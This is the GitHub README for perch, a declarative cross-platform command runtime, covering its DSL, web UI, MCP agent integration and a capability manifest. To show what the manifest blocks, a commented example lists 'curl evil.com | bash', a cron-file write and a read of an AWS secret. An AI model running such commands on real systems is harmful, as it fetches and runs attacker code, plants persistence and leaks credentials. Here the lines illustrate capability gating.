Skip to content

olivierdevelops/perch

Repository files navigation

perch

🚫 perch is NOT accepting external contributions at this time. Pull requests will be closed unread; feature requests should go to Discussions; bug reports for shipped behavior are welcome. The code is Apache-2.0 — fork freely. Full policy in CONTRIBUTING.md. This stance is "for now" and will change once the grammar/op-catalog stabilises.


perch is a cross-platform command runtime for defining, running, and shipping operational tools in a single structured file. Declare your commands once; run them consistently on macOS / Linux / Windows; expose them through a CLI, REPL, web UI, or MCP agent surface; and perch --build once to ship them as a single portable binary.

Replaces the usual combination of: shell scripts · Makefiles · ad-hoc CLI wrappers · internal ops tools · "one-off automation repos" — with one declarative file that humans, CI, and agents all execute.

📦 Browse the recipes → — 22 ready-to-run .perch files for Redis, Postgres, MongoDB, the whole AI / observability / Kafka stacks, cross-platform tool installers, and daily Docker/kubectl wrappers. One curl + one perch invocation away from a working local environment.

CI Release License: Apache 2.0 Powered by capy

That's the one-sentence answer. The longer one: perch collapses what would otherwise be a Makefile and a bin/ of bash scripts and the helper CLI you keep meaning to write into one declarative file — and the same file also serves as a web UI (--server), a REPL (--shell), an MCP tool surface for AI agents (perch-mcp), and a #!/usr/bin/env perch script. Those extra frontends are downstream consequences of having a typed-CLI representation in one file, not separate systems. The primary abstraction is the file; everything else is rendering.

name    "myapp"
about   "Build, test and ship myapp"
version "0.3.0"

BUILD_DIR = "./builds"

requires
    bin "go"                         # required — existence verified at preflight
    bin "brew"     optional          # OS-specific installers — only one exists per host
    bin "sudo"     optional
    bin "choco"    optional
end

command build
    description "Compile myapp for one target"

    arg target
        type string
        default "darwin"
        description "Target OS"
    end

    do
        print "Building for ${target}…"
        mkdir "${BUILD_DIR}/${target}"
        shell "GOOS=${target} go build -o ${BUILD_DIR}/${target}/myapp ./cmd/myapp"
        size = file_size "${BUILD_DIR}/${target}/myapp"
        print "Built ${size} bytes."
    end
end

command setup
    description "Install dev dependencies, cross-platform"
    do
        if os == "darwin"
            shell "brew install jq ripgrep"
        end
        if os == "linux"
            shell "sudo apt-get install -y jq ripgrep"
        end
        if os == "windows"
            shell "choco install jq ripgrep -y"
        end
    end
end

os and arch are auto-bound at command start; reference them anywhere with ${os} / ${arch}. The unified if EXPR ... end form supersedes the old if_os / if_eq / if_gt keywords — see docs/language.md.

perch build                    # → run from CLI
perch build -target=linux      # → with args
perch build --help             # → per-command help (args, defaults, examples)
perch --check                  # → statically validate commands.perch
perch test                     # → run every command marked `test` (sandboxed)
perch --report build           # → execute + render the span tree of what ran
perch --server                 # → same file, web UI (no terminal required ✨)
perch --shell                  # → same file, REPL
perch --build -o myapp         # → same file, portable binary

📘 New here? → The complete guide

Single document covering everything from "I just installed perch" to "I'm shipping a production application." Install → mental model → every section of the .perch file → ~140 ops → block ops → templates → imports → capability model → bundles → WASM → testing → pre-flight → observability → five end-to-end walkthroughs (Makefile replacement, self-installing tool, web UI + MCP ops backend, plugin host, CI gate) → distribution → honest limits → quick-reference card.

Read it once and you have the full picture. Bookmark it as your reference.


Install

# Go users — CLI
go install github.com/olivierdevelops/perch@latest

# macOS / Linux (binary, no Go required)
curl -fsSL https://raw.githubusercontent.com/olivierdevelops/perch/main/scripts/install.sh | sh

# Windows (PowerShell)
irm https://raw.githubusercontent.com/olivierdevelops/perch/main/scripts/install.ps1 | iex

# Or download a binary from the releases page:
# https://github.com/olivierdevelops/perch/releases

🪟 Web UI — no terminal required

perch --server is two products in one file.

Use it as… Who it's for Why it works
🤖 The "shows your work" companion to AI agents. Open the UI in a tab alongside Claude / Cursor / Zed; every op the agent fires through perch-mcp streams into the Run tab live. Run pre-flight 🧪 Simulate / 🔍 Scan yourself before granting the agent a risky verb. Anyone whose agent is running ops on production they can't see. ("It said it deployed. Did it?") One .perch file feeds both the agent (MCP) and the human (web UI) — no duplicated schemas, no out-of-sync wrappers. The framing: agents decide what; humans see what's happening.
🎛️ A UI-first ops console you didn't have to write. A self-hostable, file-defined dashboard for running operational commands from a browser. No FastAPI, no Retool, no Backstage plugin, no clicking through AWS / GCP. Declare your verbs in commands.perch; ship the binary; one URL is your team's ops surface. Support, QA, product, on-call, the new hire on day one — anyone who wants to operate systems from a UI without anyone building one. Self-hosters running personal infra. Internal-tool authors who don't want to babysit a frontend. The UI is generated from the same file that defines the verbs. Add a command restart_pod, refresh the page, the form is there. No app to deploy, no admin panel to maintain, no CSS to write.

Same engine for both — same .perch file, same interpreter, same capability gates (--no-shell / --no-network / etc. inherit from launch), same audit trail. Two consumers, zero duplicate code.

perch -f commands.perch --server --port 8080
# → open http://127.0.0.1:8080

What you get out of the box:

Tab What it does
▶ Run Searchable command list with type-aware form inputs (checkbox for bools, number spinner for ints, multi-line for rest args). Click Run → output streams live in a dark panel. Copy as CLI button mirrors the form back to a shell command for handoff.
🧪 Simulate Every --sim-* flag becomes a form field. Paste a v2 fixture JSON (with oracles + scenarios) and click Simulate → per-op outcomes (WILL_RUN ✓ / WILL_FAIL ✗ / MIGHT_FAIL ?) for each scenario side by side.
🔍 Scan One click → the full capability + risk audit. Same report perch --scan prints, plus the recommended hardened invocation.
✓ Check One click → syntactic validation. Issue list with severity counts.
ℹ About Program metadata + links to docs.

Plus: live search/filter across commands, dark mode (auto-detects system theme, persists per browser), top-level bindings panel showing every binding, mod badges for test / detached / proxy_args commands. Single-tenant + localhost-bound by default — put it behind your existing reverse proxy / SSO for shared access.

The web UI sits on the same interpreter as the CLI — anything you'd type as perch -f file.perch CMD -arg=val works in the UI, and vice versa.

📦 Declarative bundle + aliases — embed once, reference by name

Ship a sandboxed plugin host as one artifact, no install steps on the target, zero disk reads at runtime. Declare what gets embedded at the top of the file; reference it as a bare identifier in any command.

name "myapp"
version "1.0.0"

bundle
    include "./policy.wasm" as policy_wasm
    include "./schema.wasm" as schema
end

command run_plugin
    do
        wasm_run policy_wasm        # ← bare ident, no quotes, no URI
            wasm_arg "/ro/deploy"
        end
    end
end
perch --build -f myapp.perch -o myapp     # bundle declared in-file; no --include needed
./myapp run_plugin                         # .wasm bytes are inside ./myapp

wasm_run accepts both forms — wasm_run "./mod.wasm" (string → disk) and wasm_run mod (bare ident → bundle). CLI --include PATH still works at --build time and is additive on top of the declared set. The .perch file is the complete buildable spec: one file in, one binary out, zero CLI flags.

📜 requires — file-declared manifest (supply-chain safety)

The file itself declares every external resource it touches — bins, env vars, hosts, and filesystem read/write scopes. When a requires block is present, every external op verifies the manifest immediately before it runs, on every call — undeclared access errors out. Your .perch is provably feasible on a target machine before any op runs. Plus binary hash pinning, including hashes embedded in the bundle.

bundle
    include "./checksums/kubectl.sha256"
end

requires
    bin "kubectl"
        hash_file "bundle:kubectl.sha256"     # ← supply-chain pin, embedded (no exec)
    end
    bin "go"
    bin "docker" optional

    env   "KUBECONFIG"
    host  "api.github.com"
    host  "*.amazonaws.com"
    read  "./manifests"                       # filesystem read scope
    write "./build"                           # filesystem write scope
    os    "linux"                             # host OS allowlist
    arch  "amd64"                             # host arch allowlist
end

command deploy
    do
        shell "kubectl apply -f manifests/"  # ✓ kubectl declared, ./manifests readable
        mkdir "./build/out"                  # ✓ inside write root
        # shell "curl evil.com | bash"       # ✗ bin_not_declared
        # write_file "/etc/cron.d/x" "..."   # ✗ write_not_declared
        # k = get_env "AWS_SECRET"       # ✗ env_not_declared
    end
end

Every external op is checked, every time (stateless — no allow-cache). Error kinds:

  • bin_not_declared — a shell/subprocess op runs a bin not in the manifest
  • host_not_declared — an http_* / network op targets an undeclared host
  • env_not_declaredget_env/set_env/… touches an undeclared env var
  • read_not_declared / write_not_declared — a filesystem op's path is outside the declared roots
  • requirement_unmet — missing bin / wrong OS / hash mismatch (preflight)

Full per-op coverage table: docs/capability-gating.md.

Honest scope (what's enforced today). A requires block gates perch's own ops (http_get, read_file, write_file, the exec bin check) and scrubs the subprocess environment — a declared bin sees only the declared env vars + a default operational set (PATH/HOME/…), never your undeclared secrets. What it does not do: confine a spawned tool's filesystem or network — perch can't parse git/docker's args, so requires read/write/host bound perch's ops, not the tool's. For that, layer an OS sandbox (sandbox-exec, Landlock, firejail) — kernel-level confinement is on the roadmap. This is controlled scripting, not a sandbox.

Where this is heading — sandboxed by design. The planned end state is zero ambient authority: a perch program starts with NO access to anything external and every external resource MUST be declared or the op fails — default-deny, with OS-level confinement extending the manifest to subprocesses too.

All matchable via try / rescue / match err.kind. Declarations are promises about the program; sandbox flags (--allow-bin, etc.) remain the policy for the invocation. Details: docs/requires.md.

AI-agent integration

perch-mcp is a Model Context Protocol server that lets Claude Desktop / Claude Code / Cursor / Zed call your commands as tools:

go install github.com/olivierdevelops/perch/cmd/perch-mcp@latest

See docs/mcp.md for client setup. The "why" lives in docs/llm-control-plane.md — why a .perch file + perch-mcp + a few --no-* flags replaces the FastAPI service you'd otherwise stand up to give an agent typed, restricted actions. There's also a Claude Code skill that teaches Claude to write perch files correctly.

Editor support (LSP + syntax)

perch-lsp provides diagnostics (parse + static --check), context-aware completion, hover, and document outline. perch itself installs both:

perch --install-lsp        # installs perch-lsp via `go install`
perch --install-vscode     # installs perch-lsp + the VS Code extension (auto-spawns the LSP)
  • VS Code: perch --install-vscode does the whole flow (extracts the embedded extension, packages, installs). Requires node/npm and the VS Code code CLI on $PATH.
  • Neovim / Helix / Zed: see docs/lsp.md for one-screen setup snippets after perch --install-lsp.
  • Tree-sitter grammar (for syntax highlighting beyond what the LSP gives you): editors/tree-sitter-perch.

Shell completions

perch --completions bash > ~/.local/share/bash-completion/completions/perch
perch --completions zsh  > "${fpath[1]}/_perch"
perch --completions fish > ~/.config/fish/completions/perch.fish

Mental model

A structured way to define and ship operational commands that can run everywhere, with optional safety controls and multiple interfaces.

A commands.perch file is the single source of truth for an operational tool. It is structured (typed args, declared verbs, no string templating), portable (one runtime, identical built-ins across OSes), optionally constrained (capability flags + audit), easy to distribute (one binary), and usable by both humans and agents (CLI, web UI, REPL, MCP — same file). This enables a small but real pattern:

Operational workflows as distributable products. What used to be a folder of scripts plus a wiki page becomes one binary you can scp and run.


What perch gives you

  1. One language at the surface. No more YAML-for-structure plus templates-for-logic. perch's DSL is defined by capy, so the grammar is itself data.

  2. Cross-platform built-ins. cp, mkdir, gzip, sha256_file, http_get, plus if os == "linux" / if arch == "arm64" branching — first-class to the runtime, not bash one-liners you re-write per OS.

  3. Five frontends from one source. The same commands.perch is callable as a CLI, served as a web UI (--server), steppable in a REPL (--shell), exposed to AI agents via MCP (perch-mcp), and runnable as an executable script (#!/usr/bin/env perch shebang).

  4. One --build away from shippable. perch --build -o myapp produces a single executable for the current OS/arch — typically 10–15 MB. Format: the perch binary itself with your program JSON appended in a fat-binary footer; on startup, perch detects the footer and loads the embedded program instead of reading a .perch file. --include <path> additionally embeds a gzipped tarball — useful for shipping a Python / Node / monorepo project alongside the CLI.

    What this is, honestly:

    • Cross-compile: not yet — to ship a Linux binary, run perch --build on a Linux host (or under docker run --rm -v $PWD:/src golang:alpine). Native cross-compile is on the roadmap.
    • Reproducibility: not byte-identical across builds (Go's default link includes a build ID). The embedded program JSON IS deterministic — sha256 of the appended footer is reproducible from the .perch source.
    • Verification: the built binary doesn't carry a signed manifest. If you need build provenance, run perch --build inside a reproducible-builds pipeline and sign the output with your existing tooling.
    • Limits: ~50 MB for the embedded archive (--include) before performance noticeably degrades; the binary loads everything into memory at startup.

    Full spec: docs/embedding.md.

  5. Composable execution + testable behavior. Wrap any body in parallel, timeout "30s", retry 3, with_env, with_cwd, sandbox "no_shell,no_network", or cache "KEY" "1h" — block ops that change how the body runs without changing what it can express. Lift repeated op-sequences into template NAME ... end parameterized stamps, expanded inline at every bare NAME ... invocation. Verify behavior with perch test — commands marked test run in a sandboxed temp cwd, fail-on-error semantics, seven assert_* ops for readable failures. Visualize a run with perch --report for a span tree of every op that fired. See docs/execution-contexts.md and docs/testing.md.

  6. Controlled scripting — not sandboxing. perch lets you declare what an invocation may do: --no-shell, --no-network, --no-write, --no-subprocess, --env A,B,C, --allow-bin git,docker, --allow-host api.github.com, --max-runtime 300, --audit FILE.ndjson. With --no-shell the boundary is airtight (perch never spawns a subprocess). With shell allowed, perch enforces its own op dispatch — the subprocess can still talk to the kernel, so adversarial input still needs an OS-level sandbox (firejail / sandbox-exec / AppContainer) layered underneath. HTTP ops have additional default-on protections: no private-IP destinations, no https→http downgrade, max 5 redirect hops, DNS-rebinding defense via multi-A validation.

Sweet spot. A structured task runner for small-to-medium projects, plus an MCP tool surface for AI agents over the same file. Outside that range — a 200-command monorepo task system, a CI orchestrator, a public multi-tenant service, anything needing functions/modules — you'll outgrow perch's composability primitives. See "Where it breaks down" below.

Honest framing of the agent side: perch gives an agent a controlled execution surface with declared restrictions, an audit log, and op-level dispatch. It is not a kernel-level sandbox — if the agent's input could be genuinely adversarial, layer perch under firejail / sandbox-exec / AppContainer.


What perch is not

Perch is deliberately narrow. It is not:

  • A general-purpose programming language. No closures, objects, modules, or user-defined runtime functions. (template blocks give you parse-time parameter substitution — paste-with-args, not closures — and that's the line.) If your script needs more, call out to a language that has it.
  • A CI system. It can be invoked from one (perch ci in a GitHub-Actions step) and replace shell glue inside a job. It doesn't schedule, queue, retry, or manage resources across machines.
  • A Kubernetes / container orchestrator. It drives kubectl / docker / helm from the host side. It doesn't reimplement them.
  • A package manager. pkg_install wraps brew / apt / winget etc. — perch doesn't host a registry or resolve dependencies.
  • An init system or service supervisor. No restart policies, no health checks, no PID files. Use systemd / launchd / a process manager for that.
  • A polyglot runtime. No Python / JS / Rust embedding. Call them via shell or ship them via --build --include.
  • A multi-user auth system. --server is single-tenant, localhost-bound by default. For multi-tenant or public access, put it behind a reverse proxy with the auth story you already use.
  • A kernel-level sandbox. Frame it as controlled scripting, not sandboxing. The op set is the boundary perch enforces; with --no-shell it's airtight (no subprocess can fire); with shell allowed, the spawned process can talk to the kernel directly and only perch's own HTTP / FS / env ops are fenced. For genuinely adversarial input, layer with firejail / sandbox-exec / AppContainer underneath. See docs/sandbox.md §0d for the full discussion.

If you need one of the above, perch is the wrong layer — but it composes with whichever one you pick.


A 30-second tour

After go install github.com/olivierdevelops/perch@latest:

mkdir hello-perch && cd hello-perch
perch --init                          # writes a starter commands.perch (with shebang, +x)
perch --help                          # lists the commands in it
perch hello                           # runs one via the perch binary
./commands.perch hello                # … or run the file directly as a script
./commands.perch                      # … or run the `main` default
perch --build -o ./greet              # bundles commands.perch into ./greet
./greet hello                         # ./greet works anywhere, no perch needed

.perch files double as standalone executable scripts — perch --init writes #!/usr/bin/env perch at the top and sets the file executable. Same shape as a bash script.


A real example: perch builds itself

The repo's own commands.perch is what we use to build, clean, and tidy perch. It's 30 lines, four commands, and is the canonical "small portable task runner" shape:

#!/usr/bin/env perch
name "perch"
about "perch — a cross-platform command runner driven by capy"

BUILD_DIR = "${script_dir}/.ignore"
BUILD_OUT = "${script_dir}/.ignore/perch"

command build
    description "Build the perch binary"
    do
        mkdir "${BUILD_DIR}"
        shell "go build -o ${BUILD_OUT} ."
        size = file_size "${BUILD_OUT}"
        print "Built ${size} bytes."
    end
end

command clean
    description "Remove the built binary"
    do
        if exists "${BUILD_OUT}"
            rm "${BUILD_OUT}"
        end
    end
end

command tidy
    do
        shell "go mod tidy"
    end
end

Run with perch build or ./commands.perch build. ${script_dir} is one of the auto-bound variables — the directory containing the .perch file, so the build works from any cwd and contains no hardcoded paths.

Four more worked examples live under demos/: a Docker wrapper, a cross-platform installer, a Python project shipped as one binary, and a Go-project task runner. They're complete commands.perch files you can read end-to-end in two minutes each.

Adoption is small. Perch is young (v0.x). We use it ourselves; we'd like to see what other shapes it grows into.


Where it breaks down

Honest about the limits — useful for deciding whether perch fits your problem:

Composability. Improved in v0.2; still bounded:

  • Multi-file imports work. import "./shared.perch" (flat) or import "./aws.perch" as aws (namespaced — aws.cmd) pull in another file's commands. Cycles detected, conflicts erroring statically. Top-level bindings merge parent-wins; private commands hidden from flat import. Good enough to split a 100-command program into a few files of related concerns, or share a team-wide ops-lib.perch across projects.
  • No user-defined runtime functions, closures, or higher-order ops. Two abstraction units exist: command NAME ... end (runtime verb) and template NAME ... end (parse-time stamp — paste-with-args, expanded inline at every bare NAME ... invocation). You can't pass a command as an argument, return one from another, or close over state. If you reach for closures or return values, you've outgrown perch — call out to a real language via shell. See docs/execution-contexts.md for what templates can and can't do.
  • Scale ceiling. ~50 commands across a few imported files reads well; ~200+ across a deeper graph starts to feel like the tool's fighting you. If your problem looks like a true monorepo task orchestrator with hundreds of commands and rich nesting, perch is the wrong layer.

Other limits worth knowing:

  • Streaming captures. shell "X" streams output to stdout; s = shell_output "X" waits for X to finish. Long real-time log views work via plain shell, not via captures.
  • No real list type. Variadic args, glob, and list_dir return newline-joined strings; for_each iterates them. Nested data structures (maps, lists-of-lists) don't exist in the binding system. Use JSON ops + json_get for nested reads.
  • Single-process, sequential. No coroutines, no event loop, no daemons. shell_detached is the only parallel escape; everything else runs in order.
  • State is per-invocation. Persistent state lives in files / databases / whatever you choose. The REPL keeps bindings across lines within one session — that's the extent of in-memory persistence.
  • Cross-platform parity has an asterisk. The ~140 ops are identical across macOS / Linux / Windows. shell invocations are inherently OS-specific. --no-shell is the only way to guarantee parity; with shell allowed, you write per-OS branches.
  • Adversarial input. Restriction flags close the easy cases. For genuinely hostile .perch files you can't trust, layer perch under a kernel-level sandbox (firejail, sandbox-exec, AppContainer) — perch is controlled scripting, not a sandbox.
  • Hot reload. Parsed once at start. Edit, re-run. No file-watcher mode.

If two or three of these are deal-breakers, perch is the wrong tool. If they're acceptable trade-offs, perch is probably saving you a Cobra app + a Makefile + a CI YAML + an MCP server.


Why "perch"?

Capybaras famously let other animals — birds, monkeys, turtles — sit on their back. Your commands perch on perch the same way: declared once, then run wherever they need to (CLI, web, REPL, embedded binary). The DSL is also built on capy, which is short for capybara. So the name nods both ways.


Documentation

Grouped by what you're trying to do.

🚀 Get started in 30 minutes

🛠️ Author commands (developers)

  • docs/language.md — Every keyword and modifier
  • docs/op-reference.md — The built-in op catalog (~140 ops)
  • docs/execution-contexts.mdTemplates + parallel / retry / timeout / sandbox / cache blocks + --report
  • docs/testing.mdperch test — sandboxed behavior tests with assert_* ops
  • docs/wasm.mdwasm_run — load WebAssembly modules with capability gating by construction (reference)
  • docs/wasm-walkthroughs.md5 end-to-end real-world workflows: markdown validator, JSON Schema + caching, AI-agent surface via MCP, polyglot pipeline, CI hot loops
  • demos/wasm-plugin-hostThe killer demo: zero-trust runtime for AI-generated plugins — 4 legit + 1 deliberately malicious proving every escape attempt fails by construction
  • docs/lsp.md — VS Code / Neovim / Helix / Zed integration
  • docs/applications.md22 real applications worth copying

📦 Ship as a product

🛡️ Adopt at scale (platform / SRE / security)

Four worked examples live under demos/ — each a complete commands.perch you can run.


Status

Pre-1.0. The DSL surface is stable; the op catalog will continue to grow. SemVer applies once we tag v1.0. See CHANGELOG.md for what's landed.

License

Apache License 2.0 — © 2026 The perch Authors.

Acknowledgments

perch is built on capy — the configurable transpiler engine that defines the entire DSL grammar.

About

No description, website, or topics provided.

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Packages

 
 
 

Contributors